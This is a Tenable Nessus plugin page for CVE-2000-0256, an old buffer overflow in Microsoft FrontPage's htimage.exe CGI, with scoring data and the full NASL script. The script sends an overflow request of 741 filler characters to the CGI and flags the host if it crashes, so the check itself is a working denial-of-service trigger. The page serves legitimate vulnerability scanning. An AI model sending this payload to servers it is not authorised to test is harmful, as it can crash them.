CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:P/I:P/A:P
EPSS
Percentile
74.5%
The htimage.exe CGI is installed on the remote web server. This CGI is vulnerable to a remote buffer overflow attack when it is given the request :
/cgi-bin/htimage.exe/AAAA[…]AAA?0,0
A remote attacker could use this to crash the web server, or possibly execute arbitrary code.
#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#
# Added some extra checks. Axel Nennker [email protected]
include('deprecated_nasl_level.inc');
include('compat.inc');
if (description)
{
script_id(10376);
script_version("1.46");
script_set_attribute(attribute:"plugin_modification_date", value:"2022/04/11");
script_cve_id("CVE-2000-0256");
script_bugtraq_id(1117);
script_name(english:"Microsoft FrontPage htimage.exe CGI Remote Overflow");
script_set_attribute(attribute:"synopsis", value:
"A web application on the remote host has a buffer overflow
vulnerability.");
script_set_attribute(attribute:"description", value:
"The htimage.exe CGI is installed on the remote web server. This CGI
is vulnerable to a remote buffer overflow attack when it is given
the request :
/cgi-bin/htimage.exe/AAAA[....]AAA?0,0
A remote attacker could use this to crash the web server, or possibly
execute arbitrary code.");
script_set_attribute(attribute:"see_also", value:"https://seclists.org/bugtraq/2000/Apr/105");
script_set_attribute(attribute:"see_also", value:"https://seclists.org/bugtraq/2000/Apr/148");
script_set_attribute(attribute:"solution", value:
"Remove this file from the web server.");
script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
script_set_cvss_temporal_vector("CVSS2#E:U/RL:OF/RC:C");
script_set_attribute(attribute:"vuln_publication_date", value:"2000/04/18");
script_set_attribute(attribute:"plugin_publication_date", value:"2000/04/19");
script_set_attribute(attribute:"plugin_type", value:"remote");
script_set_attribute(attribute:"thorough_tests", value:"true");
script_end_attributes();
script_category(ACT_DENIAL);
script_family(english:"CGI abuses");
script_copyright(english:"This script is Copyright (C) 2000-2022 Tenable Network Security, Inc.");
script_dependencies("http_version.nasl", "find_service1.nasl", "no404.nasl");
script_exclude_keys("Settings/disable_cgi_scanning");
script_require_ports("Services/www", 80);
exit(0);
}
# The attack starts here
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
port = get_http_port(default:80);
if(http_is_dead(port:port))exit(0, "The web server on port "+port+" is already dead.");
foreach dir (cgi_dirs())
{
if (is_cgi_installed3(item:string(dir, "/htimage.exe"), port:port))
{
req = string(dir, "/htimage.exe/", crap(741), "?0,0");
w = http_send_recv3(port: port, method:"GET", item: req, exit_on_fail: 0);
if (isnull(w))
{
security_hole(port);
}
if (! thorough_tests)
exit(0, build_url(port: port, qs: dir + "/htimage.exe") + " is not vulnerable.");
}
}
exit(0, "No vulnerable CGI was found on port "+port+".");